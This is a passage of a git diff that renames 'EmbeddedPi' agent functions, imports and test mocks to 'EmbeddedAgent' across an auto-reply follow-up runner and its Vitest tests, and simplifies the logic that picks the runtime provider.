sourceAbortController.abort(); - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [], meta: {}, }); @@ -1152,7 +1152,7 @@ describe("createFollowupRunner runtime config", () => { runWithModelFallbackMock, "run with model fallback", ); - const call = requireLastMockCallArg(runEmbeddedPiAgentMock, "run embedded pi agent"); + const call = requireLastMockCallArg(runEmbeddedAgentMock, "run embedded agent"); expect(fallbackCall.abortSignal).toBeInstanceOf(AbortSignal); expect(fallbackCall.abortSignal).not.toBe(sourceAbortController.signal); expect(call.abortSignal).toBe(fallbackCall.abortSignal); @@ -1160,7 +1160,7 @@ describe("createFollowupRunner runtime config", () => { it("keeps queued delivery correlations active during followup agent runs", async () => { const events: string[] = []; - runEmbeddedPiAgentMock.mockImplementationOnce(async () => { + runEmbeddedAgentMock.mockImplementationOnce(async () => { events.push("run"); return { payloads: [], @@ -1226,7 +1226,7 @@ describe("createFollowupRunner runtime config", () => { targetStatesByPath: { "skills.entries.whisper.apiKey": "resolved_local" }, hadUnresolvedTargets: false, }); - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [], meta: {}, }); @@ -1248,12 +1248,12 @@ describe("createFollowupRunner runtime config", () => { expect(queued.run.config).toBe(runtimeConfig); expect(requireMockCallArg(runPreflightCompactionIfNeededMock, 0).cfg).toBe(runtimeConfig); - const call = requireLastMockCallArg(runEmbeddedPiAgentMock, "run embedded pi agent"); + const call = requireLastMockCallArg(runEmbeddedAgentMock, "run embedded agent"); expect(call.config).toBe(runtimeConfig); }); it("passes queued origin scope into queued execution-config resolution", async () => { - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [], meta: {}, }); @@ -1286,7 +1286,7 @@ describe("createFollowupRunner runtime config", () => { }); it("passes queued images into queued embedded followup runs", async () => { - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [], meta: {}, }); @@ -1309,7 +1309,7 @@ describe("createFollowupRunner runtime config", () => { }), ); - const call = requireLastMockCallArg(runEmbeddedPiAgentMock, "run embedded pi agent"); + const call = requireLastMockCallArg(runEmbeddedAgentMock, "run embedded agent"); expect(call.images).toBe(images); expect(call.imageOrder).toBe(imageOrder); }); @@ -1330,7 +1330,7 @@ describe("createFollowupRunner progress forwarding", () => { }, }); - runEmbeddedPiAgentMock.mockImplementationOnce( + runEmbeddedAgentMock.mockImplementationOnce( async (args: { onAgentEvent?: (evt: { stream: string; data: Record }) => Promise; onToolResult?: (payload: { text: string }) => Promise; @@ -1407,7 +1407,7 @@ describe("createFollowupRunner progress forwarding", () => { ); }); - runEmbeddedPiAgentMock.mockImplementationOnce( + runEmbeddedAgentMock.mockImplementationOnce( async (args: { onToolResult?: (payload: { text: string }) => Promise }) => { void args.onToolResult?.({ text: "🛠️ Exec: echo queued-progress" }); return { payloads: [{ text: "final reply" }], meta: { agentMeta: {} } }; @@ -1455,7 +1455,7 @@ describe("createFollowupRunner progress forwarding", () => { }, }); - runEmbeddedPiAgentMock.mockImplementationOnce( + runEmbeddedAgentMock.mockImplementationOnce( async (args: { onAgentEvent?: (evt: { stream: string; data: Record }) => Promise; onToolResult?: (payload: { text: string }) => Promise; @@ -1530,7 +1530,7 @@ describe("createFollowupRunner progress forwarding", () => { const onCompactionEnd = vi.fn(async () => {}); registerFollowupTestSessionStore(storePath, sessionStore); - runEmbeddedPiAgentMock.mockImplementationOnce( + runEmbeddedAgentMock.mockImplementationOnce( async (args: { onAgentEvent?: (evt: { stream: string; data: Record }) => Promise; shouldEmitToolResult?: () => boolean; @@ -1591,7 +1591,7 @@ describe("createFollowupRunner progress forwarding", () => { const onToolStart = vi.fn(async () => {}); const onCommandOutput = vi.fn(async () => {}); - runEmbeddedPiAgentMock.mockImplementationOnce( + runEmbeddedAgentMock.mockImplementationOnce( async (args: { onAgentEvent?: (evt: { stream: string; data: Record }) => Promise; onToolResult?: (payload: { text: string }) => Promise; @@ -1638,7 +1638,7 @@ describe("createFollowupRunner progress forwarding", () => { it("does not reuse dispatch-scoped tool-error suppression across queued follow-ups", async () => { const onCommandOutput = vi.fn(async () => {}); - runEmbeddedPiAgentMock + runEmbeddedAgentMock .mockImplementationOnce( async (args: { onAgentEvent?: (evt: { stream: string; data: Record }) => Promise; @@ -1699,7 +1699,7 @@ describe("createFollowupRunner progress forwarding", () => { it("keeps queued full-verbose tool-error fallbacks available after failed progress", async () => { const onCommandOutput = vi.fn(async () => {}); - runEmbeddedPiAgentMock.mockImplementationOnce( + runEmbeddedAgentMock.mockImplementationOnce( async (args: { onAgentEvent?: (evt: { stream: string; data: Record }) => Promise; suppressToolErrorWarnings?: boolean | (() => boolean | undefined); @@ -1741,7 +1741,7 @@ describe("createFollowupRunner progress forwarding", () => { }); it("keeps queued tool-error fallbacks when failed progress has no callback", async () => { - runEmbeddedPiAgentMock.mockImplementationOnce( + runEmbeddedAgentMock.mockImplementationOnce( async (args: { onAgentEvent?: (evt: { stream: string; data: Record }) => Promise; suppressToolErrorWarnings?: boolean | (() => boolean | undefined); @@ -1788,7 +1788,7 @@ describe("createFollowupRunner progress forwarding", () => { const sessionStore: Record = { main: sessionEntry }; const onToolStart = vi.fn(async () => {}); - runEmbeddedPiAgentMock.mockImplementationOnce( + runEmbeddedAgentMock.mockImplementationOnce( async (args: { onAgentEvent?: (evt: { stream: string; data: Record }) => Promise; shouldEmitToolResult?: () => boolean; @@ -1934,7 +1934,7 @@ describe("createFollowupRunner compaction", () => { const onBlockReply = vi.fn(async () => {}); registerFollowupTestSessionStore(storePath, sessionStore); - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "final" }], meta: { agentMeta: { @@ -1989,7 +1989,7 @@ describe("createFollowupRunner compaction", () => { }; registerFollowupTestSessionStore(storePath, sessionStore); - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "final" }], meta: { agentMeta: { @@ -2069,7 +2069,7 @@ describe("createFollowupRunner compaction", () => { }, }); - runEmbeddedPiAgentMock.mockImplementationOnce(async (args) => { + runEmbeddedAgentMock.mockImplementationOnce(async (args) => { args.onAgentEvent?.({ stream: "compaction", data: { phase: "end", willRetry: false, completed: false }, @@ -2133,7 +2133,7 @@ describe("createFollowupRunner compaction", () => { }; registerFollowupTestSessionStore(storePath, sessionStore); - compactEmbeddedPiSessionMock.mockResolvedValueOnce({ + compactEmbeddedAgentSessionMock.mockResolvedValueOnce({ ok: true, compacted: true, result: { @@ -2151,7 +2151,7 @@ describe("createFollowupRunner compaction", () => { sessionKey?: string; storePath?: string; }) => { - await compactEmbeddedPiSessionMock({ + await compactEmbeddedAgentSessionMock({ sessionFile: transcriptPath, workspaceDir, }); @@ -2187,15 +2187,13 @@ describe("createFollowupRunner compaction", () => { ); const embeddedCalls: Array<{ extraSystemPrompt?: string }> = []; - runEmbeddedPiAgentMock.mockImplementationOnce( - async (params: { extraSystemPrompt?: string }) => { - embeddedCalls.push({ extraSystemPrompt: params.extraSystemPrompt }); - return { - payloads: [{ text: "final" }], - meta: { agentMeta: { usage: { input: 1, output: 1 } } }, - }; - }, - ); + runEmbeddedAgentMock.mockImplementationOnce(async (params: { extraSystemPrompt?: string }) => { + embeddedCalls.push({ extraSystemPrompt: params.extraSystemPrompt }); + return { + payloads: [{ text: "final" }], + meta: { agentMeta: { usage: { input: 1, output: 1 } } }, + }; + }); const runner = createFollowupRunner({ opts: { onBlockReply: vi.fn(async () => {}) }, @@ -2218,7 +2216,7 @@ describe("createFollowupRunner compaction", () => { await runner(queued); - expect(compactEmbeddedPiSessionMock).toHaveBeenCalledOnce(); + expect(compactEmbeddedAgentSessionMock).toHaveBeenCalledOnce(); expect(embeddedCalls[0]?.extraSystemPrompt).toContain("Post-compaction context refresh"); expect(embeddedCalls[0]?.extraSystemPrompt).toContain("Read AGENTS.md before replying."); expect(sessionStore.main?.compactionCount).toBe(2); @@ -2227,7 +2225,7 @@ describe("createFollowupRunner compaction", () => { describe("createFollowupRunner bootstrap warning dedupe", () => { it("passes stored warning signature history to embedded followup runs", async () => { - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [], meta: {}, }); @@ -2278,7 +2276,7 @@ describe("createFollowupRunner bootstrap warning dedupe", () => { await runner(baseQueuedRun()); - const call = requireLastMockCallArg(runEmbeddedPiAgentMock, "run embedded pi agent"); + const call = requireLastMockCallArg(runEmbeddedAgentMock, "run embedded agent"); expect(call.allowGatewaySubagentBinding).toBe(true); expect(call.bootstrapPromptWarningSignaturesSeen).toEqual(["sig-a", "sig-b"]); expect(call.bootstrapPromptWarningSignature).toBe("sig-b"); @@ -2321,7 +2319,7 @@ describe("createFollowupRunner messaging delivery and dedupe", () => { }>; }) { const onBlockReply = createAsyncReplySpy(); - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ meta: {}, ...params.agentResult, }); @@ -2407,7 +2405,7 @@ describe("createFollowupRunner messaging delivery and dedupe", () => { }, }; const persistSpy = vi.spyOn(sessionRunAccounting, "persistRunSessionUsage"); - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "hello world!" }], meta: { agentMeta: { @@ -2452,7 +2450,7 @@ describe("createFollowupRunner messaging delivery and dedupe", () => { const sessionEntry: SessionEntry = { sessionId: "session", updatedAt: Date.now() }; const sessionStore: Record = { [sessionKey]: sessionEntry }; const persistSpy = vi.spyOn(sessionRunAccounting, "persistRunSessionUsage"); - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "hello world!" }], meta: { agentMeta: { @@ -2518,7 +2516,7 @@ describe("createFollowupRunner messaging delivery and dedupe", () => { const sessionStore: Record = { [sessionKey]: sessionEntry }; FOLLOWUP_TEST_SESSION_STORES.set(storePath, sessionStore); const persistSpy = vi.spyOn(sessionRunAccounting, "persistRunSessionUsage"); - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "internal announce complete" }], meta: { agentMeta: { @@ -2643,7 +2641,7 @@ describe("createFollowupRunner messaging delivery and dedupe", () => { } as FollowupRun, }); - const runArg = requireMockCallArg(runEmbeddedPiAgentMock, 0); + const runArg = requireMockCallArg(runEmbeddedAgentMock, 0); expect(runArg.sourceReplyDeliveryMode).toBe("message_tool_only"); expect(runArg.forceMessageTool).toBe(true); expect(routeReplyMock).not.toHaveBeenCalled(); @@ -2697,7 +2695,7 @@ describe("createFollowupRunner messaging delivery and dedupe", () => { it("suppresses exact NO_REPLY followups without origin or dispatcher delivery", async () => { const typing = createMockTypingController(); - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: ` ${DELIVERY_NO_REPLY_RUNTIME_CONTRACT.silentText} ` }], meta: {}, }); @@ -2716,7 +2714,7 @@ describe("createFollowupRunner messaging delivery and dedupe", () => { it("suppresses JSON NO_REPLY followups without origin or dispatcher delivery", async () => { const typing = createMockTypingController(); - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: DELIVERY_NO_REPLY_RUNTIME_CONTRACT.jsonSilentText }], meta: {}, }); @@ -2820,7 +2818,7 @@ describe("createFollowupRunner messaging delivery and dedupe", () => { describe("createFollowupRunner typing cleanup", () => { async function runTypingCase(agentResult: Record) { const typing = createMockTypingController(); - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ meta: {}, ...agentResult, }); @@ -2853,7 +2851,7 @@ describe("createFollowupRunner typing cleanup", () => { it("calls both markRunComplete and markDispatchIdle on agent error", async () => { const typing = createMockTypingController(); - runEmbeddedPiAgentMock.mockRejectedValueOnce(new Error("agent exploded")); + runEmbeddedAgentMock.mockRejectedValueOnce(new Error("agent exploded")); const runner = createFollowupRunner({ opts: { onBlockReply: vi.fn(async () => {}) }, @@ -2870,7 +2868,7 @@ describe("createFollowupRunner typing cleanup", () => { it("calls both markRunComplete and markDispatchIdle on successful delivery", async () => { const typing = createMockTypingController(); const onBlockReply = vi.fn(async () => {}); - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "hello world!" }], meta: {}, }); @@ -2890,10 +2888,10 @@ describe("createFollowupRunner typing cleanup", () => { }); describe("createFollowupRunner agentDir forwarding", () => { - it("passes queued run agentDir to runEmbeddedPiAgent", async () => { - runEmbeddedPiAgentMock.mockClear(); + it("passes queued run agentDir to runEmbeddedAgent", async () => { + runEmbeddedAgentMock.mockClear(); const onBlockReply = vi.fn(async () => {}); - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "hello world!" }], messagingToolSentTexts: ["different message"], meta: {}, @@ -2914,15 +2912,15 @@ describe("createFollowupRunner agentDir forwarding", () => { }, }); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); - const call = requireLastMockCallArg(runEmbeddedPiAgentMock, "run embedded pi agent"); + expect(runEmbeddedAgentMock).toHaveBeenCalledTimes(1); + const call = requireLastMockCallArg(runEmbeddedAgentMock, "run embedded agent"); expect(call.agentDir).toBe(agentDir); }); }); describe("createFollowupRunner queued user message idempotency across fallback", () => { it("suppresses queued user message persistence after first fallback candidate persists it", async () => { - runEmbeddedPiAgentMock.mockClear(); + runEmbeddedAgentMock.mockClear(); runWithModelFallbackMock.mockReset(); runWithModelFallbackMock.mockImplementationOnce( async (params: { run: (provider: string, model: string) => Promise }) => { @@ -2934,7 +2932,7 @@ describe("createFollowupRunner queued user message idempotency across fallback", }; }, ); - runEmbeddedPiAgentMock.mockImplementationOnce( + runEmbeddedAgentMock.mockImplementationOnce( async (args: { onUserMessagePersisted?: (message: { role: "user"; @@ -2948,7 +2946,7 @@ describe("createFollowupRunner queued user message idempotency across fallback", throw new Error("upstream 500"); }, ); - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "ok" }], meta: {}, }); @@ -2969,15 +2967,15 @@ describe("createFollowupRunner queued user message idempotency across fallback", }), ); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(2); - const firstAttempt = requireMockCallArg(runEmbeddedPiAgentMock, 0); - const secondAttempt = requireMockCallArg(runEmbeddedPiAgentMock, 1); + expect(runEmbeddedAgentMock).toHaveBeenCalledTimes(2); + const firstAttempt = requireMockCallArg(runEmbeddedAgentMock, 0); + const secondAttempt = requireMockCallArg(runEmbeddedAgentMock, 1); expect(firstAttempt.suppressNextUserMessagePersistence).toBe(false); expect(secondAttempt.suppressNextUserMessagePersistence).toBe(true); }); it("only persists assistant error stub on the first fallback candidate", async () => { - runEmbeddedPiAgentMock.mockClear(); + runEmbeddedAgentMock.mockClear(); runWithModelFallbackMock.mockReset(); runWithModelFallbackMock.mockImplementationOnce( async (params: { run: (provider: string, model: string) => Promise }) => { @@ -2990,7 +2988,7 @@ describe("createFollowupRunner queued user message idempotency across fallback", }; }, ); - runEmbeddedPiAgentMock.mockImplementationOnce( + runEmbeddedAgentMock.mockImplementationOnce( async (args: { onAssistantErrorMessagePersisted?: (message: { role: "assistant"; @@ -3006,8 +3004,8 @@ describe("createFollowupRunner queued user message idempotency across fallback", throw new Error("upstream 500"); }, ); - runEmbeddedPiAgentMock.mockRejectedValueOnce(new Error("upstream 500")); - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockRejectedValueOnce(new Error("upstream 500")); + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "ok" }], meta: {}, }); @@ -3027,17 +3025,17 @@ describe("createFollowupRunner queued user message idempotency across fallback", }), ); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(3); - const firstAttempt = requireMockCallArg(runEmbeddedPiAgentMock, 0); - const secondAttempt = requireMockCallArg(runEmbeddedPiAgentMock, 1); - const thirdAttempt = requireMockCallArg(runEmbeddedPiAgentMock, 2); + expect(runEmbeddedAgentMock).toHaveBeenCalledTimes(3); + const firstAttempt = requireMockCallArg(runEmbeddedAgentMock, 0); + const secondAttempt = requireMockCallArg(runEmbeddedAgentMock, 1); + const thirdAttempt = requireMockCallArg(runEmbeddedAgentMock, 2); expect(firstAttempt.suppressAssistantErrorPersistence).toBe(false); expect(secondAttempt.suppressAssistantErrorPersistence).toBe(true); expect(thirdAttempt.suppressAssistantErrorPersistence).toBe(true); }); it("does not suppress when no fallback candidate persisted the queued message", async () => { - runEmbeddedPiAgentMock.mockClear(); + runEmbeddedAgentMock.mockClear(); runWithModelFallbackMock.mockReset(); runWithModelFallbackMock.mockImplementationOnce( async (params: { run: (provider: string, model: string) => Promise }) => { @@ -3049,8 +3047,8 @@ describe("createFollowupRunner queued user message idempotency across fallback", }; }, ); - runEmbeddedPiAgentMock.mockRejectedValueOnce(new Error("upstream early")); - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockRejectedValueOnce(new Error("upstream early")); + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "ok" }], meta: {}, }); @@ -3071,9 +3069,9 @@ describe("createFollowupRunner queued user message idempotency across fallback", }), ); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(2); - const firstAttempt = requireMockCallArg(runEmbeddedPiAgentMock, 0); - const secondAttempt = requireMockCallArg(runEmbeddedPiAgentMock, 1); + expect(runEmbeddedAgentMock).toHaveBeenCalledTimes(2); + const firstAttempt = requireMockCallArg(runEmbeddedAgentMock, 0); + const secondAttempt = requireMockCallArg(runEmbeddedAgentMock, 1); expect(firstAttempt.suppressNextUserMessagePersistence).toBe(false); expect(secondAttempt.suppressNextUserMessagePersistence).toBe(false); expect(secondAttempt.suppressAssistantErrorPersistence).toBe(false); diff --git a/src/auto-reply/reply/followup-runner.ts b/src/auto-reply/reply/followup-runner.ts index 24d2ded4442..2e82a63ea31 100644 --- a/src/auto-reply/reply/followup-runner.ts +++ b/src/auto-reply/reply/followup-runner.ts @@ -9,11 +9,11 @@ import { resolveBootstrapWarningSignaturesSeen } from "../../agents/bootstrap-bu import { getCliSessionBinding } from "../../agents/cli-session.js"; import { resolveContextTokensForModel } from "../../agents/context.js"; import { DEFAULT_CONTEXT_TOKENS } from "../../agents/defaults.js"; +import { runEmbeddedAgent } from "../../agents/embedded-agent.js"; import { ensureSelectedAgentHarnessPlugin } from "../../agents/harness/runtime-plugin.js"; import { runWithModelFallback } from "../../agents/model-fallback.js"; import { resolveCliRuntimeExecutionProvider } from "../../agents/model-runtime-aliases.js"; import { isCliProvider } from "../../agents/model-selection-cli.js"; -import { runEmbeddedPiAgent } from "../../agents/pi-embedded.js"; import { buildAgentRuntimeDeliveryPlan, buildAgentRuntimeOutcomePlan, @@ -57,7 +57,7 @@ import { incrementRunCompactionCount, persistRunSessionUsage } from "./session-r import { createTypingSignaler } from "./typing-mode.js"; import type { TypingController } from "./typing.js"; -type EmbeddedAgentRunResult = Awaited>; +type EmbeddedAgentRunResult = Awaited>; type FollowupAgentEvent = { stream: string; data: Record }; @@ -532,7 +532,7 @@ export function createFollowupRunner(params: { }); } let autoCompactionCount = 0; - let runResult: Awaited>; + let runResult: Awaited>; let fallbackProvider = run.provider; let fallbackModel = run.model; activeSessionEntry = await runPreflightCompactionIfNeeded({ @@ -681,19 +681,17 @@ export function createFollowupRunner(params: { entry: activeSessionEntry, }); const cliExecutionProvider = - sessionRuntimeOverride === "pi" - ? provider - : ((sessionRuntimeOverride && isCliProvider(sessionRuntimeOverride, runtimeConfig) - ? sessionRuntimeOverride - : undefined) ?? - resolveCliRuntimeExecutionProvider({ - provider, - cfg: runtimeConfig, - agentId: run.agentId, - modelId: model, - authProfileId: selectedAuthProfile.authProfileId, - }) ?? - provider); + (sessionRuntimeOverride && isCliProvider(sessionRuntimeOverride, runtimeConfig) + ? sessionRuntimeOverride + : undefined) ?? + resolveCliRuntimeExecutionProvider({ + provider, + cfg: runtimeConfig, + agentId: run.agentId, + modelId: model, + authProfileId: selectedAuthProfile.authProfileId, + }) ?? + provider; let attemptCompactionCount = 0; const userTurnTranscriptRecorder = effectiveQueued.userTurnTranscriptRecorder ?? opts?.userTurnTranscriptRecorder; @@ -792,7 +790,7 @@ export function createFollowupRunner(params: { return result; } pendingDeferredCliTerminal = undefined; - const result = await runEmbeddedPiAgent({ + const result = await runEmbeddedAgent({ allowGatewaySubagentBinding: true, replyOperation, sessionId: run.sessionId, diff --git a/src/auto-reply/reply/get-reply-inline-actions.ts b/src/auto-reply/reply/get-reply-inline-actions.ts index ec9c2964cff..b953b2730cf 100644 --- a/src/auto-reply/reply/get-reply-inline-actions.ts +++ b/src/auto-reply/reply/get-reply-inline-actions.ts @@ -1,5 +1,5 @@ import { collectTextContentBlocks } from "../../agents/content-blocks.js"; -import type { BlockReplyChunking } from "../../agents/pi-embedded-block-chunker.js"; +import type { BlockReplyChunking } from "../../agents/embedded-agent-block-chunker.js"; import type { SkillCommandSpec } from "../../agents/skills.js"; import { getChannelPlugin } from "../../channels/plugins/index.js"; import type { SessionEntry } from "../../config/sessions.js"; diff --git a/src/auto-reply/reply/get-reply-run.media-only.test.ts b/src/auto-reply/reply/get-reply-run.media-only.test.ts index f6a5d04e8ec..7bb9c5acc33 100644 --- a/src/auto-reply/reply/get-reply-run.media-only.test.ts +++ b/src/auto-reply/reply/get-reply-run.media-only.test.ts @@ -6,7 +6,7 @@ import { afterEach, beforeAll, beforeEach, describe, expect, it, vi } from "vite import { clearActiveEmbeddedRun, setActiveEmbeddedRun, -} from "../../agents/pi-embedded-runner/runs.js"; +} from "../../agents/embedded-agent-runner/runs.js"; import type { SessionEntry } from "../../config/sessions.js"; import { createReplyOperation } from "./reply-run-registry.js"; @@ -14,14 +14,14 @@ vi.mock("../../agents/auth-profiles/session-override.js", () => ({ resolveSessionAuthProfileOverride: vi.fn().mockResolvedValue(undefined), })); -vi.mock("../../agents/pi-embedded.runtime.js", () => ({ - abortEmbeddedPiRun: vi.fn().mockReturnValue(false), - isEmbeddedPiRunActive: vi.fn().mockReturnValue(false), - isEmbeddedPiRunStreaming: vi.fn().mockReturnValue(false), +vi.mock("../../agents/embedded-agent.runtime.js", () => ({ + abortEmbeddedAgentRun: vi.fn().mockReturnValue(false), + isEmbeddedAgentRunActive: vi.fn().mockReturnValue(false), + isEmbeddedAgentRunStreaming: vi.fn().mockReturnValue(false), resolveActiveEmbeddedRunSessionId: vi.fn().mockReturnValue(undefined), resolveActiveEmbeddedRunSessionIdBySessionFile: vi.fn().mockReturnValue(undefined), resolveEmbeddedSessionLane: vi.fn().mockReturnValue("session:session-key"), - waitForEmbeddedPiRunEnd: vi.fn().mockResolvedValue(true), + waitForEmbeddedAgentRunEnd: vi.fn().mockResolvedValue(true), })); vi.mock("../../config/sessions/group.js", () => ({ @@ -551,18 +551,18 @@ describe("runPreparedReply media-only handling", () => { "webchat", ] as const)("enables default same-turn steering for active %s runs", async (channel) => { const queueSettings = await import("./queue/settings-runtime.js"); - const piRuntime = await import("../../agents/pi-embedded.runtime.js"); + const embeddedAgentRuntime = await import("../../agents/embedded-agent.runtime.js"); vi.mocked(queueSettings.resolveQueueSettings).mockReturnValueOnce({ mode: "steer", debounceMs: 500, cap: 20, dropPolicy: "summarize", }); - vi.mocked(piRuntime.resolveActiveEmbeddedRunSessionId) + vi.mocked(embeddedAgentRuntime.resolveActiveEmbeddedRunSessionId) .mockReturnValueOnce("active-session") .mockReturnValueOnce("active-session"); - vi.mocked(piRuntime.isEmbeddedPiRunActive).mockReturnValueOnce(true); - vi.mocked(piRuntime.isEmbeddedPiRunStreaming).mockReturnValueOnce(true); + vi.mocked(embeddedAgentRuntime.isEmbeddedAgentRunActive).mockReturnValueOnce(true); + vi.mocked(embeddedAgentRuntime.isEmbeddedAgentRunStreaming).mockReturnValueOnce(true); const params = baseParams({ sessionKey: `agent:main:${channel}:direct:steer-smoke`, @@ -1272,12 +1272,14 @@ describe("runPreparedReply media-only handling", () => { }); it("treats reset-triggered followup mode as interrupt when the session lane is empty", async () => { const queueSettings = await import("./queue/settings-runtime.js"); - const piRuntime = await import("../../agents/pi-embedded.runtime.js"); + const embeddedAgentRuntime = await import("../../agents/embedded-agent.runtime.js"); const commandQueue = await import("../../process/command-queue.js"); vi.mocked(queueSettings.resolveQueueSettings).mockReturnValueOnce({ mode: "followup" }); vi.mocked(commandQueue.getQueueSize).mockReturnValueOnce(0); - vi.mocked(piRuntime.resolveActiveEmbeddedRunSessionId).mockReturnValue("session-active"); - vi.mocked(piRuntime.abortEmbeddedPiRun).mockReturnValue(true); + vi.mocked(embeddedAgentRuntime.resolveActiveEmbeddedRunSessionId).mockReturnValue( + "session-active", + ); + vi.mocked(embeddedAgentRuntime.abortEmbeddedAgentRun).mockReturnValue(true); const activeOperation = createReplyOperation({ sessionId: "session-active", sessionKey: "session-key", @@ -1295,7 +1297,7 @@ describe("runPreparedReply media-only handling", () => { expect(result).toEqual({ text: "ok" }); expect(commandQueue.clearCommandLane).toHaveBeenCalledWith("session:session-key"); - expect(piRuntime.abortEmbeddedPiRun).toHaveBeenCalledWith("session-active"); + expect(embeddedAgentRuntime.abortEmbeddedAgentRun).toHaveBeenCalledWith("session-active"); expect(activeOperation.result).toEqual({ kind: "aborted", code: "aborted_by_user" }); expect(vi.mocked(runReplyAgent)).toHaveBeenCalledOnce(); const call = requireRunReplyAgentCall(); @@ -1308,18 +1310,18 @@ describe("runPreparedReply media-only handling", () => { }); it("does not enable steering for active heartbeat runs", async () => { const queueSettings = await import("./queue/settings-runtime.js"); - const piRuntime = await import("../../agents/pi-embedded.runtime.js"); + const embeddedAgentRuntime = await import("../../agents/embedded-agent.runtime.js"); vi.mocked(queueSettings.resolveQueueSettings).mockReturnValueOnce({ mode: "followup", debounceMs: 500, cap: 20, dropPolicy: "summarize", }); - vi.mocked(piRuntime.resolveActiveEmbeddedRunSessionId) + vi.mocked(embeddedAgentRuntime.resolveActiveEmbeddedRunSessionId) .mockReturnValueOnce("active-session") .mockReturnValueOnce("active-session"); - vi.mocked(piRuntime.isEmbeddedPiRunActive).mockReturnValueOnce(true); - vi.mocked(piRuntime.isEmbeddedPiRunStreaming).mockReturnValueOnce(true); + vi.mocked(embeddedAgentRuntime.isEmbeddedAgentRunActive).mockReturnValueOnce(true); + vi.mocked(embeddedAgentRuntime.isEmbeddedAgentRunStreaming).mockReturnValueOnce(true); await runPreparedReply( baseParams({ @@ -1379,16 +1381,16 @@ describe("runPreparedReply media-only handling", () => { }); it("does not queue a run behind its provided pre-dispatch reply operation", async () => { - const piRuntime = await import("../../agents/pi-embedded.runtime.js"); + const embeddedAgentRuntime = await import("../../agents/embedded-agent.runtime.js"); const operation = createReplyOperation({ sessionId: "session-pre-dispatch-owner", sessionKey: "session-key", resetTriggered: false, }); - vi.mocked(piRuntime.resolveActiveEmbeddedRunSessionId).mockReturnValue( + vi.mocked(embeddedAgentRuntime.resolveActiveEmbeddedRunSessionId).mockReturnValue( "session-pre-dispatch-owner", ); - vi.mocked(piRuntime.isEmbeddedPiRunActive).mockReturnValue(true); + vi.mocked(embeddedAgentRuntime.isEmbeddedAgentRunActive).mockReturnValue(true); try { await expect( @@ -1403,17 +1405,19 @@ describe("runPreparedReply media-only handling", () => { const call = requireLastRunReplyAgentCall(); expect(call.replyOperation).toBe(operation); - expect(vi.mocked(piRuntime.isEmbeddedPiRunActive)).not.toHaveBeenCalled(); + expect(vi.mocked(embeddedAgentRuntime.isEmbeddedAgentRunActive)).not.toHaveBeenCalled(); } finally { operation.complete(); - vi.mocked(piRuntime.resolveActiveEmbeddedRunSessionId).mockReset().mockReturnValue(undefined); - vi.mocked(piRuntime.isEmbeddedPiRunActive).mockReset().mockReturnValue(false); + vi.mocked(embeddedAgentRuntime.resolveActiveEmbeddedRunSessionId) + .mockReset() + .mockReturnValue(undefined); + vi.mocked(embeddedAgentRuntime.isEmbeddedAgentRunActive).mockReset().mockReturnValue(false); } }); it("does not interrupt its provided pre-dispatch reply operation for reset turns", async () => { const queueSettings = await import("./queue/settings-runtime.js"); - const piRuntime = await import("../../agents/pi-embedded.runtime.js"); + const embeddedAgentRuntime = await import("../../agents/embedded-agent.runtime.js"); const commandQueue = await import("../../process/command-queue.js"); const operation = createReplyOperation({ sessionId: "session-reset-owner", @@ -1422,7 +1426,9 @@ describe("runPreparedReply media-only handling", () => { }); vi.mocked(queueSettings.resolveQueueSettings).mockReturnValueOnce({ mode: "followup" }); vi.mocked(commandQueue.getQueueSize).mockReturnValueOnce(0); - vi.mocked(piRuntime.resolveActiveEmbeddedRunSessionId).mockReturnValue("session-reset-owner"); + vi.mocked(embeddedAgentRuntime.resolveActiveEmbeddedRunSessionId).mockReturnValue( + "session-reset-owner", + ); try { await expect( @@ -1439,10 +1445,12 @@ describe("runPreparedReply media-only handling", () => { const call = requireLastRunReplyAgentCall(); expect(call.replyOperation).toBe(operation); expect(commandQueue.clearCommandLane).not.toHaveBeenCalled(); - expect(piRuntime.abortEmbeddedPiRun).not.toHaveBeenCalled(); + expect(embeddedAgentRuntime.abortEmbeddedAgentRun).not.toHaveBeenCalled(); } finally { operation.complete(); 